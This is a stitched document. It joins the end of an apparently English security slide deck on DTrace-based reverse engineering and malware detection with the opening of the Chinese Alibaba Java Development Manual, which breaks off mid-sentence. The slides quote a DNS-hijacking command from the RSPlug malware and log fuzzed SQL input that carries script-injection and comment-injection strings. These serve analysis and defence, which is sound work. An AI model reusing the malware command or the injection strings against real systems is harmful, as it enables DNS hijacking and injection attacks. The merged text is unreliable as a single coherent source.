DTrace • Problem: “I want to use QuickTime, but it’s got holes” • Solution: Make a DTrace script to call stop() when weird stuff happens • QuickTime probably never needs to call /bin/sh or mprotect() on the stack to make it writable (Houston we have a problem) QuickTime® is a registered trademark of Apple Inc. in the United States and/or other countries. Basic HIDS with DTrace #!/usr/sbin/dtrace -q -s proc:::exec /execname == "QuickTime Player" && args[0] == "/bin/sh"/ { printf("\n%s Has been p0wned! It tried to spawned %s\n”, execname, args[0]) } HIDS Video DTrace and Rootkits • Check out Archim’s paper “B.D.S.M the Solaris 10 Way,” from the CCC Conference • He created the SInAr rootkit for Solaris 10 • Describes a method for hiding a rootkit from DTrace • DTrace FBT (kernel) provider can spy on all active kernel modules • Should have the ability to detect rootkits, which don’t explicitly hide from DTrace (SInAr is the only one I could find) • Expect more on this in the future DTrace for Malware Analysis • Very easy to hack up a script to analyze MalWare • Example: Leopard DNS Changer (OSX.RSPlug.A ) • Why the heck is my video codec calling… /usr/sbin/scutil add ServerAddresses * $s1 $s2 set State:/Network/Service/$PSID/DNS • You can monitor file I/O and syscalls with just two lines • Scripts to do this now included with OS X by default • Malware not hiding from DTrace yet • BUT Apple made that a feature (yayyy!) Hiding from DTrace • In Jan. Core DTrace developer Adam Leventhal discovered that Apple crippled DTrace for Leopard • On OS X Your application can set the “PT_ATTACH_DENY” flag to hide from DTrace just like you can for GDB • Leventhal used timing analysis to figure out they are hiding iTunes™ from DTrace • Very easy to patch in memory or with kext • Landon Fuller released a kext to do this http://landonf.bikemonkey.org/code/macosx/Leopard_PT_DENY_ATTACH.20080122.html KERNEL DEBUGGING OS X Kernel / Driver BSoD Panic Log /Library/Logs/PanicReporter/ Fri Feb 8 09:30:02 2008 panic(cpu 1 caller 0x001A7BED): Kernel trap at 0x5c3f1cf9, type 14=page fault, registers: CR0: 0x8001003b, CR2: 0x00000004, CR3: 0x013bd000, CR4: 0x00000660 EAX: 0x00000000, EBX: 0x08d74490, ECX: 0x08d74490, EDX: 0x00000000 CR2: 0x00000004, EBP: 0x7633fd98, ESI: 0xe00002ed, EDI: 0x07038200 EFL: 0x00010202, EIP: 0x5c3f1cf9, CS: 0x00000008, DS: 0x07030010 Error code: 0x00000000 Backtrace, Format - Frame : Return Address (4 potential args on stack) 0x7633fb98 : 0x12b0e1 (0x455670 0x7633fbcc 0x133238 0x0) 0x7633fbe8 : 0x1a7bed (0x45ea20 0x5c3f1cf9 0xe 0x45e1d4) 0x7633fcc8 : 0x19e517 (0x7633fce0 0x9086080 0x7633fd98 0x5c3f1cf9) 0x7633fcd8 : 0x5c3f1cf9 (0xe 0x48 0x10 0x7030010) 0x7633fd98 : 0x612470 (0x8d74490 0x0 0xe00002ed 0x0) 0x7633fdf8 : 0x88a2c7 (0x6eaf000 0x7038200 0xe00002ed 0x0) 0x7633fe68 : 0x88b7ec (0x6eaf000 0x7024240 0x0 0x0) 0x7633fed8 : 0x88b824 (0x6eaf000 0x0 0x0 0x135b0f) 0x7633fef8 : 0x88e705 (0x6eaf000 0x2 0x5366a0 0x6e4686c) 0x7633ff18 : 0x41d149 (0x6eaf000 0x6f21700 0x1 0x19ccc1) 0x7633ff68 : 0x41c2a6 (0x6f21700 0x6d77208 0x7633ff98 0x1368db) 0x7633ff98 : 0x41bf88 (0x6eaa500 0x6d95540 0x7633ffc8 0x7e56998) 0x7633ffc8 : 0x19e2ec (0x6eaa500 0x0 0x1a10b5 0x7726f20) Backtrace terminated-invalid frame pointer 0 Kernel loadable modules in backtrace (with dependencies): com.keyspan.iokit.usb.KeyspanUSAdriver(2.1)@0x5c3e2000->0x5c436fff dependency: com.apple.iokit.IOSerialFamily(9.1)@0x723000 dependency: com.apple.iokit.IOUSBFamily(3.0.5)@0x60d000 com.apple.driver.AppleUSBUHCI(3.0.5)@0x884000->0x891fff dependency: com.apple.iokit.IOPCIFamily(2.4)@0x63c000 dependency: com.apple.iokit.IOUSBFamily(3.0.5)@0x60d000 com.apple.iokit.IOUSBFamily(3.0.5)@0x60d000->0x634fff BSD process name corresponding to current thread: kernel_task Page Fault ... Kernel trap at 0x5c3f1cf9, type 14=page fault, registers: CR0: 0x8001003b, CR2: 0x00000004, CR3: 0x013bd000, CR4: 0x00000660 ... com.keyspan.iokit.usb.KeyspanUSAdriver(2.1)@0x5c3e2000- >0x5c436fff • Exception happens at 0x5c3f1cf9 • Keyspan driver is mapped to memory starting at 0x5c3e2000 • Drivers loaded page aligned so - 0x1000 • 0x5c3f1cf9 - 0x5c3e2000 - 0x1000 = 0xecf9 0xECF9 Registers from panic log: ... CR0: 0x8001003b, CR2: 0x00000004, CR3: 0x013bd000, CR4: 0x00000660 EAX: 0x00000000, EBX: 0x08d74490, ECX: 0x08d74490, EDX: 0x00000000 ... Kernel Debugging • All that was done without debugging • What if we want to inspect memory? • What if we get different errors and we aren’t sure why? • Further debugging will be necessary Kernel Debugging is a pain • Require remote setup • Need two hosts • Export and import symbols • Can DTrace help? Kernel References Apple Technical Note TN2063: Understanding and Debugging Kernel Panics Apple Technical Note TN2118: Kernel Core Dumps Hello Debugger: Debugging a Device Driver With GDB http://developer.apple.com/documentation/Darwin/Conceptual/KEX TConcept/KEXTConceptDebugger/hello_debugger.html Uninformed volume 8 article 4 by David Maynor http://www.uninformed.org/?v=8&a=4 HIGHER LEVEL TRACING Leveraging Custom Application Probes Application Probes • Represent a more abstract action • Browser example: Page Load, build DOM, DNS request • Helps for gathering performance metrics • Also tracing VM languages like Java, Python, Ruby • Largely still in the works Tracing SQL Calls • fuzz inputs • hook the database #!/usr/sbin/dtrace –s pid$target:mysqld:dispatch_command:entry { printf(”%Y %s\n”, walltimestamp, copyinstr(arg2)) } Example: 2008 Jun 15 01:02:35 INSERT INTO router (prefix, lladdr, mac, trusted, address) VALUES ('face<script>', 'face''', 'face;--', 1, 'face"') Future Work • Automated feedback and integration with fuzzers • More experimenting with Kernel tracing • Improved overflow monitoring • Memory allocation analysis libraries (will help port Sotirov’s HeapLib to ActiveX, DHTML version or other browsers/OSes) • Garbage collection behavior analysis • More on utilizing application-specific probes (probes for JS in browsers, MySQL probes, ...) • New Probes: Network providers, IP send & recv Your own ideas! Conclusion DTrace can: • Collect an unprecedented range of data • Collect very specific measurements • Scope can be very broad or very precise Applied to Reverse Engineering: • Allows researchers to pinpoint specific situation (overflows) • Or to understand general behavior (heap growth) RETRACE + REDBG + IDA! Thank You! Tiller Beauchamp SAIC [email protected] David Weston Microsoft [email protected] See the RE:Trace framework for implementation: ( redbg coming soon! ) http://www.poppopret.org/ Questions?	pdf
前言《Java 开发手册》是阿里巴巴集团技术团队的集体智慧结晶和经验总结，经历了多次大规模一线实战的检验及不断完善，公开到业界后，众多社区开发者踊跃参与，共同打磨完善，系统化地整理成册。现代软件行业的高速发展对开发者的综合素质要求越来越高，因为不仅是编程知识点，其它维度的知识点也会影响到软件的最终交付质量。比如：数据库的表结构和索引设计缺陷可能带来软件上的架构缺陷或性能风险；工程结构混乱导致后续维护艰难；没有鉴权的漏洞代码易被黑客攻击等等。所以本手册以 Java 开发者为中心视角，划分为编程规约、异常日志、单元测试、安全规约、MySQL 数据库、工程结构、设计规约七个维度，再根据内容特征，细分成若干二级子目录。另外，依据约束力强弱及故障敏感性，规约依次分为强制、推荐、参考三大类。在延伸信息中， “说明”对规约做了适当扩展和解释；“正例”提倡什么样的编码和实现方式；“反例”说明需要提防的雷区，以及真实的错误案例。手册的愿景是码出高效，码出质量。现代软件架构的复杂性需要协同开发完成，如何高效地协同呢？无规矩不成方圆，无规范难以协同，比如，制订交通法规表面上是要限制行车权，实际上是保障公众的人身安全，试想如果没有限速，没有红绿灯，谁还敢上路行驶？对软件来说，适当的规范和标准绝不是消灭代码内容的创造性、优雅性，而是限制过度个性化，以一种普遍认可的统一方式一起做事，提升协作效率，降低沟通成本。代码的字里行间流淌的是软件系统的血液，质量的提升是尽可能少踩坑，杜绝踩重复的坑，切实提升系统稳定性，码出质量。我们已经在 2017 杭州云栖大会上发布了配套的 Java 开发规约 IDE 插件，阿里云效也集成了代码规约扫描引擎。次年，发布 36 万字的配套详解图书《码出高效》，本书秉持“图胜于表，表胜于言”的理念，深入浅出地将计算机基础、面向对象思想、JVM 探源、数据结构与集合、并发与多线程、单元测试等知识客观、立体地呈现出来。紧扣学以致用、学以精进的目标，结合阿里巴巴实践经验和故障案例，与底层源码解析融会贯通，娓娓道来。此书所得收入均捐赠公益事情，希望用技术情怀帮助更多的人。目录前言一、编程规约 ................................................................................................................................................... 1 (一) 命名风格 ...................................................................................................................................... 1 (二) 常量定义 ...................................................................................................................................... 4 (三) 代码格式 ...................................................................................................................................... 5 (四) OOP 规约 .................................................................................................................................... 7 (五) 集合处理 ....................................................................................................................................11 (六) 并发处理 ....................................................................................................................................14 (七) 控制语句 ....................................................................................................................................18 (八) 注释规约 ....................................................................................................................................21 (九) 其它 ............................................................................................................................................22 二、异常日志 .................................................................................................................................................24 (一) 异常处理 ....................................................................................................................................24 (二) 日志规约 ....................................................................................................................................26 三、单元测试 .................................................................................................................................................28 四、安全规约 .................................................................................................................................................30 五、MySQL 数据库 .......................................................................................................................................31 (一) 建表规约 ....................................................................................................................................31 (二) 索引规约 ....................................................................................................................................32 (三) SQL 语句 ....................................................................................................................................34 (四) ORM 映射 ..................................................................................................................................35 六、工程结构 .................................................................................................................................................37 (一) 应用分层 ....................................................................................................................................37 (二) 二方库依赖 ................................................................................................................................38 (三) 服务器 ........................................................................................................................................39 七、设计规约 .................................................................................................................................................41 附 1：版本历史 ..............................................................................................................................................43 附 2：专有名词解释 ......................................................................................................................................44 （注：浏览时请使用 PDF 左侧导航栏） Java 开发手册 1/44 一、编程规约 (一) 命名风格 1. 【强制】代码中的命名均不能以下划线或美元符号开始，也不能以下划线或美元符号结束。反例：_name / __name / $name / name_ / name$ / name__ 2. 【强制】代码中的命名严禁使用拼音与英文混合的方式，更不允许直接使用中文的方式。说明：正确的英文拼写和语法可以让阅读者易于理解，避免歧义。注意，纯拼音命名方式更要避免采用。正例：renminbi / alibaba / taobao / youku / hangzhou 等国际通用的名称，可视同英文。反例：DaZhePromotion [打折] / getPingfenByName() [评分] / int 某变量 = 3 3. 【强制】类名使用 UpperCamelCase 风格，但以下情形例外：DO / BO / DTO / VO / AO / PO / UID 等。正例：JavaServerlessPlatform / UserDO / XmlService / TcpUdpDeal / TaPromotion 反例：javaserverlessplatform / UserDo / XMLService / TCPUDPDeal / TAPromotion 4. 【强制】方法名、参数名、成员变量、局部变量都统一使用 lowerCamelCase 风格，必须遵从驼峰形式。正例： localValue / getHttpMessage() / inputUserId 5. 【强制】常量命名全部大写，单词间用下划线隔开，力求语义表达完整清楚，不要嫌名字长。正例：MAX_STOCK_COUNT / CACHE_EXPIRED_TIME 反例：MAX_COUNT / EXPIRED_TIME 6. 【强制】抽象类命名使用 Abstract 或 Base 开头；异常类命名使用 Exception 结尾；测试类命名以它要测试的类的名称开始，以 Test 结尾。 7. 【强制】类型与中括号紧挨相连来表示数组。正例：定义整形数组 int[] arrayDemo; 反例：在 main 参数中，使用 String args[]来定义。 8. 【强制】POJO 类中布尔类型变量都不要加 is 前缀，否则部分框架解析会引起序列化错误。说明：在本文 MySQL 规约中的建表约定第一条，表达是与否的值采用 is_xxx 的命名方式，所以，需要在 <resultMap>设置从 is_xxx 到 xxx 的映射关系。反例：定义为基本数据类型 Boolean isDeleted 的属性，它的方法也是 isDeleted()，RPC 框架在反向解析的时候，“误以为”对应的属性名称是 deleted，导致属性获取不到，进而抛出异常。版本号制定团队更新日期备注 1.5.0 阿里巴巴与 Java 社区开发者 2019.06.19 华山版，新增 21 条，修改描述 112 处 Java 开发手册 2/44 9. 【强制】包名统一使用小写，点分隔符之间有且仅有一个自然语义的英语单词。包名统一使用单数形式，但是类名如果有复数含义，类名可以使用复数形式。正例：应用工具类包名为 com.alibaba.ai.util、类名为 MessageUtils（此规则参考 spring 的框架结构） 10. 【强制】避免在子父类的成员变量之间、或者不同代码块的局部变量之间采用完全相同的命名，使可读性降低。说明：子类、父类成员变量名相同，即使是 public 类型的变量也是能够通过编译，而局部变量在同一方法内的不同代码块中同名也是合法的，但是要避免使用。对于非 setter/getter 的参数名称也要避免与成员变量名称相同。反例： public class ConfusingName { public int age; // 非 setter/getter 的参数名称，不允许与本类成员变量同名 public void getData(String alibaba) { if(true) { final int money = 531; // ... } for (int i = 0; i < 10; i++) { // 在同一方法体中，不允许与其它代码块中的 taobao 命名相同 final int money = 615; // ... } } } class Son extends ConfusingName { // 不允许与父类的成员变量名称相同 public int age; } 11. 【强制】杜绝完全不规范的缩写，避免望文不知义。反例：AbstractClass“缩写”命名成 AbsClass；condition“缩写”命名成 condi，此类随意缩写严重降低了代码的可阅读性。 12. 【推荐】为了达到代码自解释的目标，任何自定义编程元素在命名时，使用尽量完整的单词组合来表达其意。正例：在 JDK 中，表达原子更新的类名为：AtomicReferenceFieldUpdater。反例：int a 的随意命名方式。 13. 【推荐】在常量与变量的命名时，表示类型的名词放在词尾，以提升辨识度。正例：startTime / workQueue / nameList / TERMINATED_THREAD_COUNT 反例：startedAt / QueueOfWork / listName / COUNT_TERMINATED_THREAD 14. 【推荐】如果模块、接口、类、方法使用了设计模式，在命名时需体现出具体模式。说明：将设计模式体现在名字中，有利于阅读者快速理解架构设计理念。 Java 开发手册 3/44 正例： public class OrderFactory; public class LoginProxy; public class ResourceObserver; 15. 【推荐】接口类中的方法和属性不要加任何修饰符号（public 也不要加），保持代码的简洁性，并加上有效的 Javadoc 注释。尽量不要在接口里定义变量，如果一定要定义变量，肯定是与接口方法相关，并且是整个应用的基础常量。正例：接口方法签名 void commit(); 接口基础常量 String COMPANY = "alibaba"; 反例：接口方法定义 public abstract void f(); 说明：JDK8 中接口允许有默认实现，那么这个 default 方法，是对所有实现类都有价值的默认实现。 16. 接口和实现类的命名有两套规则： 1）【强制】对于 Service 和 DAO 类，基于 SOA 的理念，暴露出来的服务一定是接口，内部的实现类用 Impl 的后缀与接口区别。正例：CacheServiceImpl 实现 CacheService 接口。 2）【推荐】如果是形容能力的接口名称，取对应的形容词为接口名（通常是–able 的形容词）。正例：AbstractTranslator 实现 Translatable 接口。 17. 【参考】枚举类名带上 Enum 后缀，枚举成员名称需要全大写，单词间用下划线隔开。说明：枚举其实就是特殊的类，域成员均为常量，且构造方法被默认强制是私有。正例：枚举名字为 ProcessStatusEnum 的成员名称：SUCCESS / UNKNOWN_REASON。 18. 【参考】各层命名规约： A) Service/DAO 层方法命名规约 1）获取单个对象的方法用 get 做前缀。 2）获取多个对象的方法用 list 做前缀，复数形式结尾如：listObjects。 3）获取统计值的方法用 count 做前缀。 4）插入的方法用 save/insert 做前缀。 5）删除的方法用 remove/delete 做前缀。 6）修改的方法用 update 做前缀。 B) 领域模型命名规约 1）数据对象：xxxDO，xxx 即为数据表名。 2）数据传输对象：xxxDTO，xxx 为业务领域相关的名称。 3）展示对象：xxxVO，xxx 一般为网页名称。 4） POJO 是 DO/DTO/BO/VO 的统称，禁止命名成 xxxPOJO。 Java 开发手册 4/44 (二) 常量定义 1. 【强制】不允许任何魔法值（即未经预先定义的常量）直接出现在代码中。反例：String key = "Id#taobao_" + tradeId; cache.put(key, value); // 缓存 get 时，由于在代码复制时，漏掉下划线，导致缓存击穿而出现问题 2. 【强制】在 long 或者 Long 赋值时，数值后使用大写的 L，不能是小写的 l，小写容易跟数字 1 混淆，造成误解。说明：Long a = 2l; 写的是数字的 21，还是 Long 型的 2。 3. 【推荐】不要使用一个常量类维护所有常量，要按常量功能进行归类，分开维护。说明：大而全的常量类，杂乱无章，使用查找功能才能定位到修改的常量，不利于理解和维护。正例：缓存相关常量放在类 CacheConsts 下；系统配置相关常量放在类 ConfigConsts 下。 4. 【推荐】常量的复用层次有五层：跨应用共享常量、应用内共享常量、子工程内共享常量、包内共享常量、类内共享常量。 1）跨应用共享常量：放置在二方库中，通常是 client.jar 中的 constant 目录下。 2）应用内共享常量：放置在一方库中，通常是子模块中的 constant 目录下。反例：易懂变量也要统一定义成应用内共享常量，两位工程师在两个类中分别定义了“YES”的变量：类 A 中：public static final String YES = "yes"; 类 B 中：public static final String YES = "y"; A.YES.equals(B.YES)，预期是 true，但实际返回为 false，导致线上问题。 3）子工程内部共享常量：即在当前子工程的 constant 目录下。 4）包内共享常量：即在当前包下单独的 constant 目录下。 5）类内共享常量：直接在类内部 private static final 定义。 5. 【推荐】如果变量值仅在一个固定范围内变化用 enum 类型来定义。说明：如果存在名称之外的延伸属性应使用 enum 类型，下面正例中的数字就是延伸信息，表示一年中的第几个季节。正例： public enum SeasonEnum { SPRING(1), SUMMER(2), AUTUMN(3), WINTER(4); private int seq; SeasonEnum(int seq) { this.seq = seq; } public int getSeq() { return seq; } } Java 开发手册 5/44 (三) 代码格式 1. 【强制】如果是大括号内为空，则简洁地写成{}即可，大括号中间无需换行和空格；如果是非空代码块则： 1）左大括号前不换行。 2）左大括号后换行。 3）右大括号前换行。 4）右大括号后还有 else 等代码则不换行；表示终止的右大括号后必须换行。 2. 【强制】左小括号和字符之间不出现空格；同样，右小括号和字符之间也不出现空格；而左大括号前需要空格。详见第 5 条下方正例提示。反例：if (空格 a == b 空格) 3. 【强制】if/for/while/switch/do 等保留字与括号之间都必须加空格。 4. 【强制】任何二目、三目运算符的左右两边都需要加一个空格。说明：运算符包括赋值运算符=、逻辑运算符&&、加减乘除符号等。 5. 【强制】采用 4 个空格缩进，禁止使用 tab 字符。说明：如果使用 tab 缩进，必须设置 1 个 tab 为 4 个空格。IDEA 设置 tab 为 4 个空格时，请勿勾选 Use tab character；而在 eclipse 中，必须勾选 insert spaces for tabs。正例：（涉及 1-5 点） public static void main(String[] args) { // 缩进 4 个空格 String say = "hello"; // 运算符的左右必须有一个空格 int flag = 0; // 关键词 if 与括号之间必须有一个空格，括号内的 f 与左括号，0 与右括号不需要空格 if (flag == 0) { System.out.println(say); } // 左大括号前加空格且不换行；左大括号后换行 if (flag == 1) { System.out.println("world"); // 右大括号前换行，右大括号后有 else，不用换行 } else { System.out.println("ok"); // 在右大括号后直接结束，则必须换行 } } 6. 【强制】注释的双斜线与注释内容之间有且仅有一个空格。正例： // 这是示例注释，请注意在双斜线之后有一个空格 String param = new String(); Java 开发手册 6/44 7. 【强制】在进行类型强制转换时，右括号与强制转换值之间不需要任何空格隔开。正例： long first = 1000000000000L; int second = (int)first + 2; 8. 【强制】单行字符数限制不超过 120 个，超出需要换行，换行时遵循如下原则： 1）第二行相对第一行缩进 4 个空格，从第三行开始，不再继续缩进，参考示例。 2）运算符与下文一起换行。 3）方法调用的点符号与下文一起换行。 4）方法调用中的多个参数需要换行时，在逗号后进行。 5）在括号前不要换行，见反例。正例： StringBuilder sb = new StringBuilder(); // 超过 120 个字符的情况下，换行缩进 4 个空格，点号和方法名称一起换行 sb.append("Jack").append("Ma")... .append("alibaba")... .append("alibaba")... .append("alibaba"); 反例： StringBuilder sb = new StringBuilder(); // 超过 120 个字符的情况下，不要在括号前换行 sb.append("Jack").append("Ma")...append ("alibaba"); // 参数很多的方法调用可能超过 120 个字符，不要在逗号前换行 method(args1, args2, args3, ... , argsX); 9. 【强制】方法参数在定义和传入时，多个参数逗号后边必须加空格。正例：下例中实参的 args1，后边必须要有一个空格。 method(args1, args2, args3); 10. 【强制】IDE 的 text file encoding 设置为 UTF-8; IDE 中文件的换行符使用 Unix 格式，不要使用 Windows 格式。 11. 【推荐】单个方法的总行数不超过 80 行。说明：除注释之外的方法签名、左右大括号、方法内代码、空行、回车及任何不可见字符的总行数不超过 80 行。正例：代码逻辑分清红花和绿叶，个性和共性，绿叶逻辑单独出来成为额外方法，使主干代码更加清晰；共性逻辑抽取成为共性方法，便于复用和维护。 12. 【推荐】没有必要增加若干空格来使变量的赋值等号与上一行对应位置的等号对齐。正例： int one = 1; long two = 2L; float three = 3F; StringBuilder sb = new StringBuilder(); Java 开发手册 7/44 说明：增加 sb 这个变量，如果需要对齐，则给 one、two、three 都要增加几个空格，在变量比较多的情况下，是非常累赘的事情。 13. 【推荐】不同逻辑、不同语义、不同业务的代码之间插入一个空行分隔开来以提升可读性。说明：任何情形，没有必要插入多个空行进行隔开。 (四) OOP 规约 1. 【强制】避免通过一个类的对象引用访问此类的静态变量或静态方法，无谓增加编译器解析成本，直接用类名来访问即可。 2. 【强制】所有的覆写方法，必须加@Override 注解。说明：getObject()与 get0bject()的问题。一个是字母的 O，一个是数字的 0，加@Override 可以准确判断是否覆盖成功。另外，如果在抽象类中对方法签名进行修改，其实现类会马上编译报错。 3. 【强制】相同参数类型，相同业务含义，才可以使用 Java 的可变参数，避免使用 Object。说明：可变参数必须放置在参数列表的最后。（提倡同学们尽量不用可变参数编程）正例：public List<User> listUsers(String type, Long... ids) {...} 4. 【强制】外部正在调用或者二方库依赖的接口，不允许修改方法签名，避免对接口调用方产生影响。接口过时必须加@Deprecated 注解，并清晰地说明采用的新接口或者新服务是什么。 5. 【强制】不能使用过时的类或方法。说明：java.net.URLDecoder 中的方法 decode(String encodeStr) 这个方法已经过时，应该使用双参数 decode(String source, String encode)。接口提供方既然明确是过时接口，那么有义务同时提供新的接口；作为调用方来说，有义务去考证过时方法的新实现是什么。 6. 【强制】Object 的 equals 方法容易抛空指针异常，应使用常量或确定有值的对象来调用 equals。正例："test".equals(object); 反例：object.equals("test"); 说明：推荐使用 java.util.Objects#equals（JDK7 引入的工具类）。 7. 【强制】所有整型包装类对象之间值的比较，全部使用 equals 方法比较。说明：对于 Integer var = ? 在-128 至 127 范围内的赋值，Integer 对象是在 IntegerCache.cache 产生，会复用已有对象，这个区间内的 Integer 值可以直接使用==进行判断，但是这个区间之外的所有数据，都会在堆上产生，并不会复用已有对象，这是一个大坑，推荐使用 equals 方法进行判断。 8. 【强制】浮点数之间的等值判断，基本数据类型不能用==来比较，包装数据类型不能用 equals 来判断。说明：浮点数采用“尾数+阶码”的编码方式，类似于科学计数法的“有效数字+指数”的表示方式。二进 Java 开发手册 8/44 制无法精确表示大部分的十进制小数，具体原理参考《码出高效》。反例： float a = 1.0f - 0.9f; float b = 0.9f - 0.8f; if (a == b) { // 预期进入此代码快，执行其它业务逻辑 // 但事实上 a==b 的结果为 false } Float x = Float.valueOf(a); Float y = Float.valueOf(b); if (x.equals(y)) { // 预期进入此代码快，执行其它业务逻辑 // 但事实上 equals 的结果为 false } 正例： (1) 指定一个误差范围，两个浮点数的差值在此范围之内，则认为是相等的。 float a = 1.0f - 0.9f; float b = 0.9f - 0.8f; float diff = 1e-6f; if (Math.abs(a - b) < diff) { System.out.println("true"); } (2) 使用 BigDecimal 来定义值，再进行浮点数的运算操作。 BigDecimal a = new BigDecimal("1.0"); BigDecimal b = new BigDecimal("0.9"); BigDecimal c = new BigDecimal("0.8"); BigDecimal x = a.subtract(b); BigDecimal y = b.subtract(c); if (x.equals(y)) { System.out.println("true"); } 9. 【强制】定义数据对象 DO 类时，属性类型要与数据库字段类型相匹配。正例：数据库字段的 bigint 必须与类属性的 Long 类型相对应。反例：某个案例的数据库表 id 字段定义类型 bigint unsigned，实际类对象属性为 Integer，随着 id 越来越大，超过 Integer 的表示范围而溢出成为负数。 10. 【强制】为了防止精度损失，禁止使用构造方法 BigDecimal(double)的方式把 double 值转化为 BigDecimal 对象。说明：BigDecimal(double)存在精度损失风险，在精确计算或值比较的场景中可能会导致业务逻辑异常。如：BigDecimal g = new BigDecimal(0.1f); 实际的存储值为：0.10000000149 正例：优先推荐入参为 String 的构造方法，或使用 BigDecimal 的 valueOf 方法，此方法内部其实执行了 Double 的 toString，而 Double 的 toString 按 double 的实际能表达的精度对尾数进行了截断。 Java 开发手册 9/44 BigDecimal recommend1 = new BigDecimal("0.1"); BigDecimal recommend2 = BigDecimal.valueOf(0.1); 11. 关于基本数据类型与包装数据类型的使用标准如下： 1）【强制】所有的 POJO 类属性必须使用包装数据类型。 2）【强制】RPC 方法的返回值和参数必须使用包装数据类型。 3）【推荐】所有的局部变量使用基本数据类型。说明：POJO 类属性没有初值是提醒使用者在需要使用时，必须自己显式地进行赋值，任何 NPE 问题，或者入库检查，都由使用者来保证。正例：数据库的查询结果可能是 null，因为自动拆箱，用基本数据类型接收有 NPE 风险。反例：比如显示成交总额涨跌情况，即正负 x%，x 为基本数据类型，调用的 RPC 服务，调用不成功时，返回的是默认值，页面显示为 0%，这是不合理的，应该显示成中划线。所以包装数据类型的 null 值，能够表示额外的信息，如：远程调用失败，异常退出。 12. 【强制】定义 DO/DTO/VO 等 POJO 类时，不要设定任何属性默认值。反例：POJO 类的 createTime 默认值为 new Date()，但是这个属性在数据提取时并没有置入具体值，在更新其它字段时又附带更新了此字段，导致创建时间被修改成当前时间。 13. 【强制】序列化类新增属性时，请不要修改 serialVersionUID 字段，避免反序列失败；如果完全不兼容升级，避免反序列化混乱，那么请修改 serialVersionUID 值。说明：注意 serialVersionUID 不一致会抛出序列化运行时异常。 14. 【强制】构造方法里面禁止加入任何业务逻辑，如果有初始化逻辑，请放在 init 方法中。 15. 【强制】POJO 类必须写 toString 方法。使用 IDE 中的工具：source> generate toString 时，如果继承了另一个 POJO 类，注意在前面加一下 super.toString。说明：在方法执行抛出异常时，可以直接调用 POJO 的 toString()方法打印其属性值，便于排查问题。 16. 【强制】禁止在 POJO 类中，同时存在对应属性 xxx 的 isXxx()和 getXxx()方法。说明：框架在调用属性 xxx 的提取方法时，并不能确定哪个方法一定是被优先调用到。 17. 【推荐】使用索引访问用 String 的 split 方法得到的数组时，需做最后一个分隔符后有无内容的检查，否则会有抛 IndexOutOfBoundsException 的风险。说明： String str = "a,b,c,,"; String[] ary = str.split(","); // 预期大于 3，结果是 3 System.out.println(ary.length); 18. 【推荐】当一个类有多个构造方法，或者多个同名方法，这些方法应该按顺序放置在一起，便于阅读，此条规则优先于下一条。 19. 【推荐】类内方法定义的顺序依次是：公有方法或保护方法 > 私有方法 > getter / setter 方法。说明：公有方法是类的调用者和维护者最关心的方法，首屏展示最好；保护方法虽然只是子类关心，也可 Java 开发手册 10/44 能是“模板设计模式”下的核心方法；而私有方法外部一般不需要特别关心，是一个黑盒实现；因为承载的信息价值较低，所有 Service 和 DAO 的 getter/setter 方法放在类体最后。 20. 【推荐】setter 方法中，参数名称与类成员变量名称一致，this.成员名 = 参数名。在 getter/setter 方法中，不要增加业务逻辑，增加排查问题的难度。反例： public Integer getData() { if (condition) { return this.data + 100; } else { return this.data - 100; } } 21. 【推荐】循环体内，字符串的连接方式，使用 StringBuilder 的 append 方法进行扩展。说明：下例中，反编译出的字节码文件显示每次循环都会 new 出一个 StringBuilder 对象，然后进行 append 操作，最后通过 toString 方法返回 String 对象，造成内存资源浪费。反例： String str = "start"; for (int i = 0; i < 100; i++) { str = str + "hello"; } 22. 【推荐】final 可以声明类、成员变量、方法、以及本地变量，下列情况使用 final 关键字： 1）不允许被继承的类，如：String 类。 2）不允许修改引用的域对象。 3）不允许被覆写的方法，如：POJO 类的 setter 方法。 4）不允许运行过程中重新赋值的局部变量。 5）避免上下文重复使用一个变量，使用 final 可以强制重新定义一个变量，方便更好地进行重构。 23. 【推荐】慎用 Object 的 clone 方法来拷贝对象。说明：对象 clone 方法默认是浅拷贝，若想实现深拷贝需覆写 clone 方法实现域对象的深度遍历式拷贝。 24. 【推荐】类成员与方法访问控制从严： 1）如果不允许外部直接通过 new 来创建对象，那么构造方法必须是 private。 2）工具类不允许有 public 或 default 构造方法。 3）类非 static 成员变量并且与子类共享，必须是 protected。 4）类非 static 成员变量并且仅在本类使用，必须是 private。 5）类 static 成员变量如果仅在本类使用，必须是 private。 6）若是 static 成员变量，考虑是否为 final。 7）类成员方法只供类内部调用，必须是 private。 8）类成员方法只对继承类公开，那么限制为 protected。说明：任何类、方法、参数、变量，严控访问范围。过于宽泛的访问范围，不利于模块解耦。思考：如果 Java 开发手册 11/44 是一个 private 的方法，想删除就删除，可是一个 public 的 service 成员方法或成员变量，删除一下，不得手心冒点汗吗？变量像自己的小孩，尽量在自己的视线内，变量作用域太大，无限制的到处跑，那么你会担心的。 (五) 集合处理 1. 【强制】关于 hashCode 和 equals 的处理，遵循如下规则： 1）只要覆写 equals，就必须覆写 hashCode。 2）因为 Set 存储的是不重复的对象，依据 hashCode 和 equals 进行判断，所以 Set 存储的对象必须覆写这两个方法。 3）如果自定义对象作为 Map 的键，那么必须覆写 hashCode 和 equals。说明：String 已覆写 hashCode 和 equals 方法，所以我们可以愉快地使用 String 对象作为 key 来使用。 2. 【强制】ArrayList 的 subList 结果不可强转成 ArrayList，否则会抛出 ClassCastException 异常，即 java.util.RandomAccessSubList cannot be cast to java.util.ArrayList。说明：subList 返回的是 ArrayList 的内部类 SubList，并不是 ArrayList 而是 ArrayList 的一个视图，对于 SubList 子列表的所有操作最终会反映到原列表上。 3. 【强制】使用 Map 的方法 keySet()/values()/entrySet()返回集合对象时，不可以对其进行添加元素操作，否则会抛出 UnsupportedOperationException 异常。 4. 【强制】Collections 类返回的对象，如：emptyList()/singletonList()等都是 immutable list，不可对其进行添加或者删除元素的操作。反例：如果查询无结果，返回 Collections.emptyList()空集合对象，调用方一旦进行了添加元素的操作，就会触发 UnsupportedOperationException 异常。 5. 【强制】在 subList 场景中，高度注意对原集合元素的增加或删除，均会导致子列表的遍历、增加、删除产生 ConcurrentModificationException 异常。 6. 【强制】使用集合转数组的方法，必须使用集合的 toArray(T[] array)，传入的是类型完全一致、长度为 0 的空数组。反例：直接使用 toArray 无参方法存在问题，此方法返回值只能是 Object[]类，若强转其它类型数组将出现 ClassCastException 错误。正例： List<String> list = new ArrayList<>(2); list.add("guan"); list.add("bao"); String[] array = list.toArray(new String[0]); 说明：使用 toArray 带参方法，数组空间大小的 length： 1）等于 0，动态创建与 size 相同的数组，性能最好。 2）大于 0 